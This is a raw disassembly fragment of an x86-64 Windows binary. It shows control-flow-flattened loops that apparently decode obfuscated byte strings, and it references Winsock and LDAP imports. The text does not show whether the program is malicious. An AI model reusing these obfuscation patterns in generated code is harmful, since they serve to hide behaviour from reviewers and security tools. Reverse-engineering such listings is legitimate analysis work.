lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x14009c8b0
lea rcx, [rbp + 0x1519320]
jmp 0x14009d6d3
lea rcx, [rbp + 0xc08f76]
jmp 0x14009d6d3
lea rcx, [rbp + 0x958]
mov rdx, rdi
call fcn.140035b50
lea rdx, [0x140236bb0]
lea rcx, [rbp + 0x340]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x40]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0x980], 0xf0
mov byte [rbp + 0x981], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x982], reloc.WS2_32.dll_listen
mov byte [rbp + 0x983], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x984], 0xda
mov byte [rbp + 0x985], 0xef
mov byte [rbp + 0x986], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x987], 0xa
mov byte [rbp + 0x988], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x989], Ordinal_60
mov byte [rbp + 0x98a], Ordinal_45
mov byte [rbp + 0x98b], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x98c], Ordinal_45
mov byte [rbp + 0x98d], 0x85
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x98e], xmm0
mov dword [rbp + 0x99e], eax
mov byte [rbp + 0x9a2], al
movabs rsi, 0xcf4373e609098f63
movabs r13, 0xe54c5ada31313797
movabs r14, 0x80755478b5b92efd
movabs r12, 0xb5dc9ec45356bfcf
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r9, qword [0x14023d108]
mov r8, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009e59b
movzx r11d, byte [rbp + rbx + 0x980]
mov rdx, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x14009e58f
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14009d833
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x21
jmp 0x14009d870
je 0x14009e507
lea rax, [r8 + 6]
cmp r9, rax
je 0x14009e4a6
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009e47c
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009e44f
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009e3f7
nop dword [rax]
cmp r8, rbx
ja 0x14009e583
lea rax, [r8 + 0x400]
cmp r9, rax
jae 0x14009d8a4
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4b
jmp 0x14009d8f0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14009e3d2
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009e3a8
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009e385
lea rax, [r8 + 7]
cmp r9, rax
je 0x14009e31c
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009e2e7
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14009df1a
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14009def5
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14009dec7
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14009de98
lea rax, [r8 + 9]
cmp r9, rax
je 0x14009de6f
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14009de4b
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14009de17
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14009ddf4
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14009ddbf
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14009d900
lea r9, [r8 + 0x3e8]
lea r8, [r9 + 0x5a]
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14009e55f
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x14009e53b
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14009dad4
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14009dab9
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x14009da9a
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14009dd5f
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14009dd00
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x14009dcb4
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14009dc85
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14009d900
lea r9, [r8 + 1]
lea r8, [r9 + 8]
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x14009dc4b
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14009dc22
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14009dbfe
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x14009dbca
lea rax, [r8 + 2]
cmp r9, rax
ja 0x14009dba1
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x14009db78
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14009db4e
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14009db21
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14009daf8
lea r9, [r8 + 0xa]
lea r8, [r9 + 0x64]
jmp 0x14009d900
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x15
add r10b, dl
jmp 0x14009d8f0
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
jmp 0x14009d870
movabs rcx, 0xeb43e90ff0f450a1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x67
jmp 0x14009d7f5
movabs rdx, 0x7a1b9f30484c7b18
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e41a
movabs rcx, 0xaf82e97be5ea0bea
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
inc r8
dec rbx
inc rbx
jmp 0x14009d7e2
movabs rcx, 0xe4ea33c783879cbc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
dec rbx
inc rbx
jmp 0x14009d7e2
movabs rdx, 0x1a517e1321252d8e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e4c5
movabs rdx, 0x4fb8c85ebec2be60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e4ef
movabs rcx, 0x852012aa5c604f32
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d7e2
movabs rcx, 0xba875cf5f9fde004
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x14009e2af
movabs rdx, 0xefeea741979b70d6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e33b
movabs rdx, 0x2555f18d353901a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x980]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009d7e2
movabs rcx, 0xaad82b4a3f42ebb5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
mov byte [rbp + rbx + 0x980], r10b
inc rbx
jmp 0x14009d7e2
movabs rcx, 0xe03f7595dce07c87
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
cmp r8, 9
jb 0x14009dca4
movabs rcx, 0x5c6c32ef999c262a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x4c]
jmp 0x14009e41a
movabs rcx, 0x15a6bfe17a7e0d59
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
cmp r9, 0x2a
jae 0x14009e253
lea rax, [r8 + 6]
cmp r9, rax
jbe 0x14009e0c9
movabs rdx, 0x727519e3c1c3ce5e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009dcd3
movabs rcx, 0x4b0e0a2d181b9e2b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x14009e283
lea rax, [r8 + 0x41]
cmp r9, rax
jbe 0x14009e020
movabs rcx, 0xa331a5fdb8ba3efb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
jmp 0x14009dd1f
movabs rcx, 0xdb94b76436395c52
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
movzx eax, byte [rbp + rbx + 0x980]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009d7e2
movabs rdx, 0x46634bfb71747df6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14009e2a9
movabs rcx, 0x7bca96470f120ec8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d7e2
movabs rcx, 0xb131e092acaf9f9a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x14009e4ef
movabs rdx, 0xe6992ade4a4d306c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e4c5
movabs rdx, 0x1c007529e7eac13e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009d7e2
movabs rcx, 0x5167bf7585885210
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
inc r8
dec rbx
inc rbx
jmp 0x14009d7e2
movabs rdx, 0x86cf09c12325e2e2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2e
jmp 0x14009e417
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x14009df42
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
jmp 0x14009dd7e
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009df84
movabs rcx, 0x9e86e7cc12131ec6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
movzx eax, byte [rbp + rbx + 0x980]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009d7e2
inc rax
cmp r9, rax
jne 0x14009dfb3
movabs rdx, 0x33b85334d6d7fd22
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14009e2a9
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009dfe4
movabs rcx, 0xc8e9be9d9b9cdb7e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
jmp 0x14009e4ef
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009dd7e
movabs rdx, 0x5e1b2a066061b9da
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009d7e2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009e051
movabs rcx, 0x6dca5bb21b1cae29
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
jmp 0x14009e41a
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009e088
movabs rcx, 0x2fbc71adfe18c85
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
dec rbx
inc rbx
jmp 0x14009d7e2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009dd1f
movabs rcx, 0x62c5e8380708da0f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d7e2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009e110
movabs rdx, 0x3d0dcf9824263d8c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x980]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009d7e2
inc rax
cmp r9, rax
jne 0x14009e140
movabs rcx, 0x7a6854c8688acba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
jmp 0x14009e33b
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009e176
movabs rdx, 0x6770a669adaffa44
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e4ef
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14009e1a7
movabs rcx, 0x32095c1e10126972
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x14009e4c5
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14009e1de
movabs rcx, 0xfca211d27274d8a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14009d7e2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009e21d
movabs rdx, 0xc73ac786d4d747ce
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rbx
inc rbx
jmp 0x14009d7e2
lea rax, [r8 + 8]
cmp r9, rax
jne 0x14009dcd3
movabs rdx, 0x91d37d3b3739b6fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e41a
movabs rdx, 0x2704e8a3fbfe9558
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x980]
sub r10b, al
sub r10b, 0x68
add r10b, dl
add r10b, r11b
jmp 0x14009e4c5
movabs rdx, 0xf19d9e585e610486
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x980]
add r10b, dl
add r10b, r11b
movabs rdx, 0xd6e9f9328f923c1d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x35
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x980], al
inc r8
add rax, r8
sub rbx, rax
jmp 0x14009e33b
movabs rcx, 0xeea1d73d7e7f7801
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
movzx eax, byte [rbp + rbx + 0x980]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009d7e2
movabs rcx, 0x240921891c1d08d3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
movabs rdx, 0xbc36540cc0c373b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x980], cl
inc r9
mov rax, r15
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x980]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009d7e2
movabs rcx, 0xc43f006bf4f5bb49
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r10b
jmp 0x14009e4ef
movabs rcx, 0x2f0d95033030dced
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
dec rbx
inc rbx
jmp 0x14009d7e2
movabs rdx, 0x99dc299a6b6bfe91
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 9
jmp 0x14009e417
movabs rdx, 0x4aabe31a6a72035
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x73
add r10b, dl
movabs rcx, 0x41b88dc9cacd5dc1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x47
add r11b, cl
mov byte [rbp + rbx + 0x980], r11b
inc r8
dec rbx
inc rbx
jmp 0x14009d7e2
movabs rcx, 0x3a12087d4444b107
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x31
inc r8
dec rbx
inc rbx
jmp 0x14009d7e2
movabs rcx, 0x6f7952c8e1e241d9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
dec rbx
inc rbx
jmp 0x14009d7e2
movabs rcx, 0xa4e09d147f7fd2ab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
movabs rdx, 0xc51437e2d2fccef
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x77
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x980], cl
add r9, r8
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d7e2
movabs rcx, 0xafe5108e9393a6c5
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x63
movzx eax, byte [rbp + rbx + 0x980]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009d7e2
movabs rcx, 0x20ab335b8e91e173
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
jmp 0x14009d7e0
movabs rcx, 0x56127da72c2f7245
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x14009d7d0
lea rcx, [rbp + 0x15162f4]
jmp 0x14009e5a2
lea rcx, [rbp + 0x829a8b]
jmp 0x14009e5a2
lea rcx, [rbp + 0x980]
mov rdx, rdi
call fcn.140035b50
test al, al
je 0x14009e600
lea rdx, [0x140236bb0]
lea rcx, [rbp + 0x360]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xa0]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
movzx ecx, byte [rax]
mov byte [0x1402389c9], cl
mov byte [rbp + 0x9a8], 0xbb
mov byte [rbp + 0x9a9], 0x88
mov byte [rbp + 0x9aa], 0x86
mov byte [rbp + 0x9ab], 0x87
mov byte [rbp + 0x9ac], 0x99
mov byte [rbp + 0x9ad], 0x83
mov byte [rbp + 0x9ae], 0x9d
mov byte [rbp + 0x9af], 0x80
mov byte [rbp + 0x9b0], reloc.WS2_32.dll_WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9b1], xmm0
mov qword [rbp + 0x9c1], rax
mov word [rbp + 0x9c9], ax
movabs rsi, 0x5ab7582461d7ee46
movabs r13, 0x969b04327e9060ae
movabs r14, 0xc62b476ab8647e7a
movabs r12, 0x98f53f05bb43bd1e
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14009f3ce
movzx ebx, byte [rbp + rdi + 0x9a8]
mov r11, rbx
cmp r8, rdi
ja 0x14009f3c2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009e6ea
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x3e
jmp 0x14009e723
je 0x14009f335
inc rax
cmp r8, rax
je 0x14009f2c5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009f26d
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009f244
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009f1f2
cmp r9, rdi
ja 0x14009f3b6
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14009e758
lea rdx, [rdi + rsi]
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009e790
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009f1ce
inc rax
cmp r8, rax
je 0x14009f1a5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009f141
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009f119
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009ed4f
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009ed2b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009ecfa
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009ecd1
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14009ecbd
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14009ec9a
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009ec62
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009ec3b
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009ec16
lea r8, [r9 + 3]
lea r9, [r8 + 0x28]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14009f393
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14009f36b
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009e95e
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009e93f
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009e921
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009ebb5
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009eb56
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009eafe
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009e7a0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009eaca
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14009eaa5
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14009ea82
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14009ea4a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009ea27
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009e9ff
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009e9d6
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14009e9a5
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009e981
lea r8, [r9 + 6]
lea r9, [r8 + 0x64]
jmp 0x14009e7a0
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x56
add r10b, dl
jmp 0x14009e790
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009e723
movabs rcx, 0x6bbf36a0be22fbc2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
jmp 0x14009e6b4
movabs rdx, 0xd5bac1230ebf7230
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x50
jmp 0x14009f211
movabs rdx, 0xa884b8be119eb0d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009e6a2
movabs rcx, 0x7b4eb059147def78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x48
dec rdi
inc rdi
jmp 0x14009e6a2
movabs rdx, 0x4e18a7f4175d2e1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009f164
movabs rcx, 0x20e29f8f1a3c6cc0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x40
jmp 0x14009f18d
movabs rdx, 0xf3ac972a1d1bab64
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009e6a2
movabs rcx, 0xc6768ec51ffaea08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
jmp 0x14009f28f
movabs rdx, 0x9940866022da28ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009f2ea
movabs rcx, 0x6c0a7dfb25b96750
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x30
movzx eax, byte [rbp + rdi + 0x9a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009e6a2
movabs rdx, 0x4dcd6099afc6c28e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 0x80
jb 0x14009f0b0
movabs rdx, 0x1c3ac1e6d868554
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14009f214
movabs rdx, 0x20975834b2a60132
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x5e
add r10b, dl
cmp r8, 0x400
jae 0x14009f0c0
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14009efcf
movabs rcx, 0x3da7582c8a3ef7bc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
jmp 0x14009eb21
movabs rdx, 0xf3614fcfb5853fd6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x14009f0ea
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14009eec5
movabs rcx, 0xe2f0000828670976
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3a
jmp 0x14009eb78
movabs rdx, 0xf31608754deed448
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009f2ea
